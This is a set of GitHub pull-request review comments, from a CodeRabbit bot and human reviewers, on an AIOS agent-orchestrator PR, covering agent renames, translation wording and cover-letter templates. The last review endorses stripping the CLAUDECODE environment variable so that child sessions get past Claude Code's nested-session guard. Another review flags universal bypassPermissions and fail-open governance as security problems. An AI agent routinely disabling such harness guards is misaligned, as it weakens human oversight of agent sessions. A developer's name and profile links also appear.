In `@docs/es/architecture/agent-responsibility-matrix.md` at line 24, The document
states the critical rule "SOLO el agente `@devops` puede ejecutar `git push`" but
the enforcement examples (hooks/env/IDE) still reference the agent name
"github-devops", creating an inconsistency; update all example references (hook
names, environment variables, IDE configs, and any sample commands) to use the
canonical agent identifier "@devops" (or vice-versa if you decide to rename the
rule) so the rule text and all example artifacts match exactly (search for
occurrences of "github-devops" and "SOLO el agente `@devops`" and reconcile them
in functions/sections that show hooks, env vars and IDE snippets).

| Operacoes de database | @data-engineer | Expertise em dados |
| Design de UX/UI | @ux-design-expert | Expertise em design |
| Operacoes Git | @github-devops | Expertise em DevOps |
| Operacoes Git | @devops | Expertise em DevOps |
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⚠️ Potential issue | 🟡 Minor

Use Portuguese terminology in this table row.

In Line 381, replacing “Expertise em DevOps” with “especialização em DevOps” keeps wording aligned with PT-BR style consistency.

✏️ Suggested wording adjustment
-| Operacoes Git | `@devops` | Expertise em DevOps |
+| Operacoes Git | `@devops` | Especialização em DevOps |
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
| Operacoes Git | @devops | Expertise em DevOps |
| Operacoes Git | `@devops` | Especialização em DevOps |
🧰 Tools
🪛 LanguageTool

[locale-violation] ~381-~381: “Expertise” é um estrangeirismo. É preferível dizer “especialização”, “perícia”, “experiência”, “domínio” ou “competência”.
Context: ...em design | | Operacoes Git | @devops | Expertise em DevOps | | Pesquisa e analise | @ana...

(PT_BARBARISMS_REPLACE_EXPERTISE)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/guides/agents/AIOS-MASTER-SYSTEM.md` at line 381, Update the Portuguese
phrasing in the table row that currently reads "Operacoes Git | `@devops` |
Expertise em DevOps" by replacing "Expertise em DevOps" with "especialização em
DevOps" to match PT-BR style and consistency; locate the row text in the
AIOS-MASTER-SYSTEM.md table and perform the simple string substitution.

4. **Restrições de Operações Git** - Quais agentes podem fazer o quê com git/GitHub

**Regra Crítica**: SOMENTE o agente @github-devops pode executar `git push` para o repositório remoto.
**Regra Crítica**: SOMENTE o agente @devops pode executar `git push` para o repositório remoto.
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⚠️ Potential issue | 🟠 Major

Resolve authority-rule contradiction with legacy github-devops examples.

The updated rule says only @devops can push, but enforcement examples in this same doc still use github-devops (pre-push hook, env var, IDE config). That creates conflicting implementation guidance.

Suggested doc fix
- Ação: Bloqueia push se agent != "github-devops"
+ Ação: Bloqueia push se agent != "devops"

- export AIOS_ACTIVE_AGENT="github-devops"
+ export AIOS_ACTIVE_AGENT="devops"

- "github-devops": { "allowedOperations": ["*"] }
+ "devops": { "allowedOperations": ["*"] }

- Conteúdo: Verificar `$AIOS_ACTIVE_AGENT`, bloquear se != "github-devops"
+ Conteúdo: Verificar `$AIOS_ACTIVE_AGENT`, bloquear se != "devops"
Based on learnings: Follow `.aios-core/constitution.md` as the source of truth for agent behavior, including principles: CLI First, Agent Authority, Story-Driven Development, No Invention, Quality First, and Absolute Imports.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/pt/architecture/agent-responsibility-matrix.md` at line 24, The doc has
contradictory examples using the legacy agent name `github-devops` while the
rule mandates only `@devops` can push; update all enforcement examples in
agent-responsibility-matrix.md (pre-push hook, environment variable examples,
IDE config snippets) to reference `@devops` instead of `github-devops`, and add
a short note pointing readers to .aios-core/constitution.md as the authoritative
source for agent behavior and principles (CLI First, Agent Authority,
Story-Driven Development, No Invention, Quality First, Absolute Imports) so
examples and rule text stay consistent.

Comment on lines +39 to +40
Lucas Lorenzo Savino
GitHub: github.com/savinoo | LinkedIn: linkedin.com/in/lucas-lorenzo-savino-56b946179
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⚠️ Potential issue | 🟡 Minor

Avoid hardcoded personal identity in reusable templates.

For a shared template doc, replacing personal name/links with placeholders makes reuse cleaner and avoids accidental identity leakage in downstream copies.

Suggested edit
-Lukas Lorenzo Savino
-GitHub: github.com/savinoo | LinkedIn: linkedin.com/in/lucas-lorenzo-savino-56b946179
+[YOUR FULL NAME]
+GitHub: [YOUR_GITHUB_URL] | LinkedIn: [YOUR_LINKEDIN_URL]

Also applies to: 78-79, 118-119

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/research/freelance-machine/cover-letters-junior-ai.md` around lines 39 -
40, Replace the hardcoded personal identity strings ("Lucas Lorenzo Savino",
"GitHub: github.com/savinoo", and "LinkedIn:
linkedin.com/in/lucas-lorenzo-savino-56b946179") in the reusable cover letter
template with clear placeholders (e.g., {{NAME}}, {{GITHUB_URL}},
{{LINKEDIN_URL}}); update the same replacements wherever those exact strings
appear (notably the instances around lines referenced in the comment) and ensure
any README or template usage notes explain how to substitute the placeholders
when generating a personalized copy.

- "I built AIOS" → "I operate AIOS" (SynkraAI's framework)
- "Created OpenClaw" → "use OpenClaw" + "built whatsapp-mcp bridge"
- Petrobras description updated with actual department and activities

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
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♻️ Duplicate comments (1)
docs/research/freelance-machine/cover-letters-junior-ai.md (1)

39-40: ⚠️ Potential issue | 🟡 Minor

Replace hardcoded personal identity with reusable placeholders.

For a shared template, these signature blocks should use placeholders (e.g., [YOUR_FULL_NAME], [YOUR_GITHUB_URL], [YOUR_LINKEDIN_URL]) to avoid accidental identity leakage and make reuse safer.

Suggested edit
-Lukas Lorenzo Savino
-GitHub: github.com/savinoo | LinkedIn: linkedin.com/in/lucas-lorenzo-savino-56b946179
+[YOUR FULL NAME]
+GitHub: [YOUR_GITHUB_URL] | LinkedIn: [YOUR_LINKEDIN_URL]

Apply the same replacement at Line 78-Line 79 and Line 118-Line 119.

Also applies to: 78-79, 118-119

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/research/freelance-machine/cover-letters-junior-ai.md` around lines 39 -
40, Replace the hardcoded signature block containing "Lucas Lorenzo Savino" and
the literal links "GitHub: github.com/savinoo" and "LinkedIn:
linkedin.com/in/lucas-lorenzo-savino-56b946179" with reusable placeholders like
[YOUR_FULL_NAME], [YOUR_GITHUB_URL], and [YOUR_LINKEDIN_URL]; update the same
three occurrences where that block appears (the second and third signature
instances matching the same texts) so the template no longer contains any
personal identity information.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Duplicate comments:
In `@docs/research/freelance-machine/cover-letters-junior-ai.md`:
- Around line 39-40: Replace the hardcoded signature block containing "Lucas
Lorenzo Savino" and the literal links "GitHub: github.com/savinoo" and
"LinkedIn: linkedin.com/in/lucas-lorenzo-savino-56b946179" with reusable
placeholders like [YOUR_FULL_NAME], [YOUR_GITHUB_URL], and [YOUR_LINKEDIN_URL];
update the same three occurrences where that block appears (the second and third
signature instances matching the same texts) so the template no longer contains
any personal identity information.

ℹ️ Review info

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

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Reviewing files that changed from the base of the PR and between 1b1be7b and 3a9ab96.

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  • docs/research/freelance-machine/cover-letters-junior-ai.md

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Atualizacao pos-review -- 3 novos commits (39b49a7, 1b1be7b, 3a9ab96)

Analisei os 3 commits adicionados desde meu review anterior:

1. chore: AIOS audit cleanup (39b49a7) -- 80 arquivos

Rename de @github-devops para @devops em ~70 arquivos + renames de task files. Limpeza valida de consistencia nos nomes de agentes. Nada preocupante aqui.

2. chore: re-enable frameworkProtection (1b1be7b)

Re-habilita frameworkProtection no core-config.yaml e install-manifest.yaml. Positivo -- esse guard deveria estar habilitado.

3. fix: recalibrate cover letters (3a9ab96)

Ajuste de wording nas cover letters em docs/research/freelance-machine/cover-letters-junior-ai.md:

  • "I built AIOS" -> "I operate AIOS"
  • "Created OpenClaw" -> "use OpenClaw"

Este commit confirma exatamente o problema que apontei no review anterior: material pessoal de freelance sendo mantido e atualizado no repositorio open-source do projeto. O fato de ter um commit dedicado a "recalibrar cover letters" em um PR de SDK Orchestrator reforça que esse conteudo nao pertence aqui.


Veredicto: Os problemas principais do review anterior continuam sem resolucao

Nenhum dos 3 commits aborda os issues criticos levantados:

  1. Material de freelance/LinkedIn continua no PR -- e agora com mais um commit dedicado a ele
  2. Numero de telefone hardcoded em overnight.sh -- nao removido
  3. Governance fail-open -- nao corrigido para fail-closed
  4. bypassPermissions universal -- nao justificado
  5. Cross-package import relativo -- nao resolvido
  6. Escopo de 44K+ linhas -- nao dividido, agora com mais 80+ arquivos de rename

A limpeza de naming (commit 1) e a re-habilitacao do frameworkProtection (commit 2) sao bem-vindas, mas nao endereçam os problemas de seguranca e escopo. Mantenho a posicao de REQUEST_CHANGES do review anterior.


Revisado por @nikolasdehor

@nikolasdehor
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Ambitious PR, @savinoo! An SDK Orchestrator with parallel workflow execution is a big step forward for the AIOS ecosystem. 573 tests passing is a strong foundation.

Architecture observations:

  1. The github-devops → devops rename across 60+ files is a welcome normalization. Consistent agent naming (@devops everywhere instead of mixing @github-devops) simplifies both human understanding and agent-to-agent references in task files.

  2. The CLAUDECODE env var stripping is a critical fix. Claude Code sets CLAUDECODE=1 in its environment, and nested query() calls would detect this and refuse to spawn — the classic nested-session guard. Stripping it from child process env is the correct workaround for orchestrator-managed parallel sessions.

  3. Per-story state files for parallel execution isolation is the right design decision. Shared state files were a guaranteed source of race conditions when running 3+ stories simultaneously.

Concerns with this PR's scope:

  • 18K+ lines added across 100 files makes this very hard to review thoroughly. The PR bundles several distinct changes: (a) the orchestrator package itself, (b) the devops rename, (c) extensive architecture/research docs (~12K lines), (d) OpenClaw gateway contract, (e) freelance/LinkedIn marketing docs, (f) agent memory files. Consider splitting future PRs — the orchestrator package alone would be easier to review in isolation.

  • The docs directory additions include market research, LinkedIn strategy, Upwork profiles, and cold outreach templates (docs/research/freelance-machine/). These seem project-specific rather than framework-relevant. Should they live in a separate repo or a .local directory excluded from the core framework?

  • aios-openclaw-contract.yaml at the repo root — is this intended to be a permanent part of aiox-core, or is it gateway-specific configuration that belongs in the OpenClaw project?

The PRD (docs/product/prd-sdk-orchestrator.md) is solid and provides good context for the orchestrator design goals.

Question: The test results mention "Stories 1 & 2 correctly aborted after max PO retries" — is there a configurable retry limit, and does the orchestrator emit events (via EventEmitter) when a story is aborted? This would be useful for observability integrations.

Great foundation — would benefit from scope reduction for reviewability.

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